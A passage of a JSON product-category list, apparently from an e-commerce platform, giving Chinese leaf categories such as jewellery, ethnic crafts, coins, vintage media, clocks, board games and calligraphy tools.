"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30066,"name":"珠宝奇石","parent_cid":23916,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30044,"name":"其他","parent_cid":23916,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30085,"name":"笔搁","parent_cid":23917,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30086,"name":"车挂","parent_cid":23917,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30082,"name":"发饰","parent_cid":23917,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30087,"name":"颈饰","parent_cid":23917,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30083,"name":"手饰","parent_cid":23917,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30097,"name":"珠宝半成品","parent_cid":23917,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30095,"name":"珠宝奇石","parent_cid":23917,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30081,"name":"其他","parent_cid":23917,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29981,"name":"颈饰","parent_cid":23903,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29980,"name":"手饰","parent_cid":23903,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30054,"name":"珠宝奇石","parent_cid":23903,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29979,"name":"其他","parent_cid":23903,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30023,"name":"笔搁","parent_cid":23911,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30024,"name":"车挂","parent_cid":23911,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30020,"name":"发饰","parent_cid":23911,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30025,"name":"颈饰","parent_cid":23911,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30021,"name":"手饰","parent_cid":23911,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30076,"name":"珠宝半成品","parent_cid":23911,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30062,"name":"珠宝奇石","parent_cid":23911,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30019,"name":"其他","parent_cid":23911,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30016,"name":"笔搁","parent_cid":23910,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30017,"name":"车挂","parent_cid":23910,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30013,"name":"发饰","parent_cid":23910,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30051,"name":"挂件/摆件/把件","parent_cid":23910,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30018,"name":"颈饰","parent_cid":23910,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30014,"name":"手饰","parent_cid":23910,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30075,"name":"珠宝半成品","parent_cid":23910,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30061,"name":"珠宝奇石","parent_cid":23910,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30012,"name":"其他","parent_cid":23910,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29939,"name":"笔搁","parent_cid":23892,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29940,"name":"车挂","parent_cid":23892,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29936,"name":"发饰","parent_cid":23892,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29952,"name":"挂件/摆件/把件","parent_cid":23892,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29941,"name":"颈饰","parent_cid":23892,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29937,"name":"手饰","parent_cid":23892,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29955,"name":"珠宝半成品","parent_cid":23892,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29953,"name":"珠宝奇石","parent_cid":23892,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29935,"name":"其他","parent_cid":23892,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33670,"name":"笔搁","parent_cid":33314,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33668,"name":"车挂","parent_cid":33314,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33665,"name":"发饰","parent_cid":33314,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33667,"name":"颈饰","parent_cid":33314,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33666,"name":"手饰","parent_cid":33314,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33669,"name":"烟嘴","parent_cid":33314,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33672,"name":"珠宝半成品","parent_cid":33314,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33671,"name":"珠宝奇石","parent_cid":33314,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33673,"name":"其他","parent_cid":33314,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30032,"name":"颈饰","parent_cid":23913,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30031,"name":"手饰","parent_cid":23913,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30030,"name":"其他","parent_cid":23913,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30108,"name":"笔搁","parent_cid":23924,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30109,"name":"车挂","parent_cid":23924,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30105,"name":"发饰","parent_cid":23924,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30110,"name":"颈饰","parent_cid":23924,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30106,"name":"手饰","parent_cid":23924,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30121,"name":"珠宝半成品","parent_cid":23924,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30118,"name":"珠宝奇石","parent_cid":23924,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30104,"name":"其他","parent_cid":23924,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33635,"name":"笔搁","parent_cid":33306,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33634,"name":"车挂","parent_cid":33306,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33631,"name":"发饰","parent_cid":33306,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33633,"name":"颈饰","parent_cid":33306,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33632,"name":"手饰","parent_cid":33306,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33630,"name":"烟嘴","parent_cid":33306,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33628,"name":"珠宝半成品","parent_cid":33306,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33629,"name":"珠宝奇石","parent_cid":33306,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33636,"name":"其他","parent_cid":33306,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29990,"name":"笔搁","parent_cid":23905,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29991,"name":"车挂","parent_cid":23905,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29987,"name":"发饰","parent_cid":23905,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29992,"name":"颈饰","parent_cid":23905,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29988,"name":"手饰","parent_cid":23905,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30070,"name":"珠宝半成品","parent_cid":23905,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30056,"name":"珠宝奇石","parent_cid":23905,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29986,"name":"其他","parent_cid":23905,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30101,"name":"笔搁","parent_cid":23923,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30102,"name":"车挂","parent_cid":23923,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30103,"name":"颈饰","parent_cid":23923,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30100,"name":"手饰","parent_cid":23923,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30120,"name":"珠宝半成品","parent_cid":23923,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30099,"name":"其他","parent_cid":23923,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31447,"name":"白族草编工艺","parent_cid":28453,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31433,"name":"白族木雕","parent_cid":28453,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31432,"name":"白族扎染","parent_cid":28453,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31446,"name":"藏族贲巴壶","parent_cid":28455,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31440,"name":"藏族哈达","parent_cid":28455,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31442,"name":"藏族绘画","parent_cid":28455,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31445,"name":"藏族曼扎盘","parent_cid":28455,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31449,"name":"西藏古代铜雕","parent_cid":28455,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31453,"name":"蒙古皮画","parent_cid":28463,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31452,"name":"蒙古碗","parent_cid":28463,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31457,"name":"蒙古族别致腰带","parent_cid":28463,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31456,"name":"蒙古族鼻烟壶","parent_cid":28463,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31454,"name":"蒙古族佩饰","parent_cid":28463,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31458,"name":"蒙古族皮囊酒壶","parent_cid":28463,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31455,"name":"蒙古族竹雕画","parent_cid":28463,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31428,"name":"苗绣","parent_cid":28454,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31434,"name":"苗族剪纸","parent_cid":28454,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31438,"name":"苗族蜡染","parent_cid":28454,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31448,"name":"苗族马尾斗笠","parent_cid":28454,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31436,"name":"苗族泥哨","parent_cid":28454,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31435,"name":"苗族挑花","parent_cid":28454,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31439,"name":"苗族银饰","parent_cid":28454,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31444,"name":"苗族长角帽","parent_cid":28454,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31437,"name":"苗族织锦","parent_cid":28454,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31425,"name":"铜鼓","parent_cid":28452,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31424,"name":"壮锦","parent_cid":28452,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31423,"name":"壮绣","parent_cid":28452,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31431,"name":"壮族儿帽","parent_cid":28452,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31450,"name":"壮族花山崖壁画","parent_cid":28452,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29493,"name":"橄榄核雕","parent_cid":23632,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29492,"name":"核桃雕","parent_cid":23632,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33756,"name":"桃核雕","parent_cid":23632,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29491,"name":"杏核雕","parent_cid":23632,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29489,"name":"摆件","parent_cid":23633,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29490,"name":"颈饰","parent_cid":23633,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29494,"name":"珠宝半成品","parent_cid":23633,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29498,"name":"蜀绣/川绣","parent_cid":23640,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29496,"name":"苏绣","parent_cid":23640,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29495,"name":"湘绣","parent_cid":23640,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29497,"name":"粤绣/潮绣","parent_cid":23640,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29499,"name":"其他刺绣","parent_cid":23640,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29538,"name":"硬木","parent_cid":23674,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29685,"name":"硬木","parent_cid":23814,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29558,"name":"硬木","parent_cid":23695,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29564,"name":"硬木","parent_cid":23697,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29561,"name":"硬木","parent_cid":23696,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29555,"name":"硬木","parent_cid":23694,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29665,"name":"硬木","parent_cid":23778,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29620,"name":"硬木","parent_cid":23759,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29570,"name":"硬木","parent_cid":23699,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29567,"name":"硬木","parent_cid":23698,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29662,"name":"硬木","parent_cid":23777,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34509,"name":"古代花钱","parent_cid":34513,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33320,"name":"古代钱币","parent_cid":34513,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34512,"name":"近现代机制币","parent_cid":34513,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34510,"name":"金银元宝","parent_cid":34513,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34511,"name":"民国纸币","parent_cid":34513,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29631,"name":"幻灯片","parent_cid":23752,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29646,"name":"老唱片/胶片","parent_cid":23752,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29650,"name":"录像带/录影带","parent_cid":23752,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29546,"name":"唱机","parent_cid":23690,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29573,"name":"打字机","parent_cid":23690,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29547,"name":"电脑","parent_cid":23690,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29574,"name":"放映机","parent_cid":23690,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29551,"name":"挂钟","parent_cid":23691,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29549,"name":"怀表","parent_cid":23691,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29550,"name":"手表","parent_cid":23691,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29548,"name":"座钟","parent_cid":23691,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29464,"name":"摆件","parent_cid":23616,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29463,"name":"其他","parent_cid":23616,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29462,"name":"杯子","parent_cid":23615,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29461,"name":"碗","parent_cid":23615,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29456,"name":"摆件","parent_cid":23614,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29458,"name":"秤砣","parent_cid":23614,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29457,"name":"盔甲","parent_cid":23614,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29455,"name":"头盔","parent_cid":23614,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29459,"name":"香炉","parent_cid":23614,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29454,"name":"其他","parent_cid":23614,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29403,"name":"贵金属纪念币","parent_cid":23564,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29404,"name":"贵金属纪念章/条","parent_cid":23564,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29405,"name":"普通金属纪念币/章","parent_cid":23564,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29401,"name":"第二套人民币","parent_cid":23560,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29400,"name":"第三套人民币","parent_cid":23560,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29402,"name":"第四套人民币(流通币除外)","parent_cid":23560,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29399,"name":"第一套人民币","parent_cid":23560,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29654,"name":"公交卡/交通卡","parent_cid":23758,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29653,"name":"会员卡/贵宾卡","parent_cid":23758,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29644,"name":"门票卡","parent_cid":23758,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29642,"name":"年历卡","parent_cid":23758,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29652,"name":"上网卡/网吧卡","parent_cid":23758,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29645,"name":"食品卡","parent_cid":23758,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29655,"name":"邮票卡/集邮卡","parent_cid":23758,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29731,"name":"电影道具/周边","parent_cid":23824,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29730,"name":"电影资料/海报","parent_cid":23824,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29732,"name":"其他电影相关","parent_cid":23824,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29628,"name":"军棋/陆战棋","parent_cid":23757,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29629,"name":"麻将/麻雀牌","parent_cid":23757,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29641,"name":"扑克牌","parent_cid":23757,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29615,"name":"棋罐","parent_cid":23757,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29618,"name":"跳棋","parent_cid":23757,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29614,"name":"围棋","parent_cid":23757,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29617,"name":"象棋","parent_cid":23757,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29933,"name":"保护袋","parent_cid":23890,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29934,"name":"定位册","parent_cid":23890,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29932,"name":"盒子","parent_cid":23890,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29931,"name":"画框定制","parent_cid":23886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29923,"name":"胶膜","parent_cid":23886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29925,"name":"锦盒","parent_cid":23886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29924,"name":"量规","parent_cid":23886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29922,"name":"绫子","parent_cid":23886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29920,"name":"丝带","parent_cid":23886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29921,"name":"天杆","parent_cid":23886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29928,"name":"装裱机","parent_cid":23886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29917,"name":"擦银布","parent_cid":23885,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29907,"name":"秤","parent_cid":23885,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29918,"name":"放大镜","parent_cid":23885,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29915,"name":"盒子","parent_cid":23885,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29914,"name":"挑针","parent_cid":23885,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29919,"name":"洗金水","parent_cid":23885,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29913,"name":"其他","parent_cid":23885,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29929,"name":"保养油","parent_cid":23887,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29927,"name":"蜂蜡","parent_cid":23887,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29926,"name":"刷子","parent_cid":23887,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29916,"name":"拷贝纸","parent_cid":23884,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29908,"name":"刻刀","parent_cid":23884,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29912,"name":"磨盘","parent_cid":23884,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29911,"name":"砂纸","parent_cid":23884,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29909,"name":"印床","parent_cid":23884,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29910,"name":"印泥","parent_cid":23884,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29515,"name":"毛笔","parent_cid":23667,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29611,"name":"笔插","parent_cid":23756,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29627,"name":"笔挂/笔床/笔帘","parent_cid":23756,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29624,"name":"笔架/笔搁","parent_cid":23756,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29623,"name":"笔掭/笔觇","parent_cid":23756,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id"